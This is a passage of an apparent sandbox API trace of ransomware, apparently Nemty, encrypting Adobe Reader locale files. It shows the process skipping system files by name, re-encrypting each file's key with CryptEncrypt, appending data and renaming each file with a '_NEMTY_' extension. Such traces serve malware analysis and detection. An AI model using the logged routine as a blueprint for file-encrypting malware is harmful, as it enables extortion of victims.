Size=0x170) returned 0x6348ed8 [0185.061] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\ReadOutLoud.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\readoutloud.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.062] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10240) returned 1 [0185.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2800) returned 0x6352c48 [0185.062] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.062] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2800, lpOverlapped=0x0) returned 1 [0185.064] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.064] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2800, lpOverlapped=0x0) returned 1 [0185.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.064] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2800 [0185.064] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.064] CloseHandle (hObject=0x2e8) returned 1 [0185.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0185.064] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.064] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0185.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0185.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0185.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.065] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\ReadOutLoud.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\readoutloud.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\ReadOutLoud.TUR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\readoutloud.tur._nemty_kgobjgd_")) returned 1 [0185.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0185.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0185.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.065] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Reflow.TUR", cAlternateFileName="")) returned 1 [0185.065] lstrcmpiW (lpString1="Reflow.TUR", lpString2=".") returned 1 [0185.065] lstrcmpiW (lpString1="Reflow.TUR", lpString2="..") returned 1 [0185.065] lstrcmpiW (lpString1="Reflow.TUR", lpString2="...") returned 1 [0185.065] lstrcmpiW (lpString1="Reflow.TUR", lpString2="windows") returned -1 [0185.065] lstrcmpiW (lpString1="Reflow.TUR", lpString2="$RECYCLE.BIN") returned 1 [0185.065] lstrcmpiW (lpString1="Reflow.TUR", lpString2="rsa") returned -1 [0185.065] lstrcmpiW (lpString1="Reflow.TUR", lpString2="NTDETECT.COM") returned 1 [0185.065] lstrcmpiW (lpString1="Reflow.TUR", lpString2="ntldr") returned 1 [0185.066] lstrcmpiW (lpString1="Reflow.TUR", lpString2="MSDOS.SYS") returned 1 [0185.066] lstrcmpiW (lpString1="Reflow.TUR", lpString2="IO.SYS") returned 1 [0185.066] lstrcmpiW (lpString1="Reflow.TUR", lpString2="boot.ini") returned 1 [0185.066] lstrcmpiW (lpString1="Reflow.TUR", lpString2="boot.ini") returned 1 [0185.066] lstrcmpiW (lpString1="Reflow.TUR", lpString2="AUTOEXEC.BAT") returned 1 [0185.066] lstrcmpiW (lpString1="Reflow.TUR", lpString2="ntuser.dat") returned 1 [0185.066] lstrcmpiW (lpString1="Reflow.TUR", lpString2="desktop.ini") returned 1 [0185.066] lstrcmpiW (lpString1="Reflow.TUR", lpString2="CONFIG.SYS") returned 1 [0185.066] lstrcmpiW (lpString1="Reflow.TUR", lpString2="RECYCLER") returned 1 [0185.066] lstrcmpiW (lpString1="Reflow.TUR", lpString2="BOOTSECT.BAK") returned 1 [0185.066] lstrcmpiW (lpString1="Reflow.TUR", lpString2="bootmgr") returned 1 [0185.066] lstrcmpiW (lpString1="Reflow.TUR", lpString2="programdata") returned 1 [0185.066] lstrcmpiW (lpString1="Reflow.TUR", lpString2="appdata") returned 1 [0185.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.066] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.TUR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0185.066] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.TUR", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reflow.TUR", lpUsedDefaultChar=0x0) returned 10 [0185.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.066] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.TUR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0185.066] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.TUR", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reflow.TUR", lpUsedDefaultChar=0x0) returned 10 [0185.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.066] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.TUR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0185.066] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.TUR", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reflow.TUR", lpUsedDefaultChar=0x0) returned 10 [0185.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.066] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.TUR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0185.066] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.TUR", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reflow.TUR", lpUsedDefaultChar=0x0) returned 10 [0185.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0185.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0185.066] Sleep (dwMilliseconds=0x5) [0185.076] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21f5fdb0, dwHighDateTime=0x1d561e8)) [0185.076] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21f5fdb0, dwHighDateTime=0x1d561e8)) [0185.076] GetLastError () returned 0x0 [0185.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.076] GetLastError () returned 0x0 [0185.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.077] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.077] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.077] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0185.077] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="73wa3L7TnEuaAgf6PeTpgqzezDfwd20WeR7+ecQJW9ZoX+lc2BQ70qWIP0uGf45y\r\nCGmazpPoK2BZU+p9Ijftv1x4SrtSf2SoPGWdq3uYnPgvhwAS+1g6N+ghmYdaeZfb\r\nS2dIV25OQKeQtIbHU17DIFcRyXs0OLe6Fh4Afp8HlWwSS47uPiV8sN5gbHxtyZKX\r\n5ToUOPujJuIHXdNGPUtZZUxahignClArR9Y5OHoUTbRzYWAeOSm8lQetiuOEFGBr\r\naC4c2rI0IZWAWP5Ai/uC75hqhLl24i5fz+p1E1F0Wk/5Zu8XS7B/rl96FG8D3D77\r\n60jknF/feAnjU8xkF4NUsw==\r\n", pcchString=0x653e5dc) returned 1 [0185.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0185.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.077] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Reflow.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\reflow.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.077] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=4608) returned 1 [0185.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1200) returned 0x6352c48 [0185.078] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.078] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1200, lpOverlapped=0x0) returned 1 [0185.080] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.080] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1200, lpOverlapped=0x0) returned 1 [0185.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.081] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=4608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1200 [0185.081] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.081] CloseHandle (hObject=0x2e8) returned 1 [0185.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0185.081] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.081] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0185.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.081] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Reflow.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\reflow.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Reflow.TUR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\reflow.tur._nemty_kgobjgd_")) returned 1 [0185.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0185.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0185.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0185.082] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SaveAsRTF.TUR", cAlternateFileName="SAVEAS~1.TUR")) returned 1 [0185.082] lstrcmpiW (lpString1="SaveAsRTF.TUR", lpString2=".") returned 1 [0185.082] lstrcmpiW (lpString1="SaveAsRTF.TUR", lpString2="..") returned 1 [0185.082] lstrcmpiW (lpString1="SaveAsRTF.TUR", lpString2="...") returned 1 [0185.082] lstrcmpiW (lpString1="SaveAsRTF.TUR", lpString2="windows") returned -1 [0185.082] lstrcmpiW (lpString1="SaveAsRTF.TUR", lpString2="$RECYCLE.BIN") returned 1 [0185.082] lstrcmpiW (lpString1="SaveAsRTF.TUR", lpString2="rsa") returned 1 [0185.082] lstrcmpiW (lpString1="SaveAsRTF.TUR", lpString2="NTDETECT.COM") returned 1 [0185.082] lstrcmpiW (lpString1="SaveAsRTF.TUR", lpString2="ntldr") returned 1 [0185.082] lstrcmpiW (lpString1="SaveAsRTF.TUR", lpString2="MSDOS.SYS") returned 1 [0185.082] lstrcmpiW (lpString1="SaveAsRTF.TUR", lpString2="IO.SYS") returned 1 [0185.082] lstrcmpiW (lpString1="SaveAsRTF.TUR", lpString2="boot.ini") returned 1 [0185.082] lstrcmpiW (lpString1="SaveAsRTF.TUR", lpString2="boot.ini") returned 1 [0185.082] lstrcmpiW (lpString1="SaveAsRTF.TUR", lpString2="AUTOEXEC.BAT") returned 1 [0185.082] lstrcmpiW (lpString1="SaveAsRTF.TUR", lpString2="ntuser.dat") returned 1 [0185.082] lstrcmpiW (lpString1="SaveAsRTF.TUR", lpString2="desktop.ini") returned 1 [0185.082] lstrcmpiW (lpString1="SaveAsRTF.TUR", lpString2="CONFIG.SYS") returned 1 [0185.082] lstrcmpiW (lpString1="SaveAsRTF.TUR", lpString2="RECYCLER") returned 1 [0185.082] lstrcmpiW (lpString1="SaveAsRTF.TUR", lpString2="BOOTSECT.BAK") returned 1 [0185.083] lstrcmpiW (lpString1="SaveAsRTF.TUR", lpString2="bootmgr") returned 1 [0185.083] lstrcmpiW (lpString1="SaveAsRTF.TUR", lpString2="programdata") returned 1 [0185.083] lstrcmpiW (lpString1="SaveAsRTF.TUR", lpString2="appdata") returned 1 [0185.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.083] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.TUR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0185.083] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.TUR", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.TUR", lpUsedDefaultChar=0x0) returned 13 [0185.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.083] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.TUR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0185.083] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.TUR", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.TUR", lpUsedDefaultChar=0x0) returned 13 [0185.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.083] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.TUR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0185.083] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.TUR", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.TUR", lpUsedDefaultChar=0x0) returned 13 [0185.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.083] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.TUR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0185.083] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.TUR", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.TUR", lpUsedDefaultChar=0x0) returned 13 [0185.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0185.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0185.083] Sleep (dwMilliseconds=0x5) [0185.092] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21f85f10, dwHighDateTime=0x1d561e8)) [0185.092] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21f85f10, dwHighDateTime=0x1d561e8)) [0185.092] GetLastError () returned 0x0 [0185.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.092] GetLastError () returned 0x0 [0185.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.092] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.092] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.092] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0185.092] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: 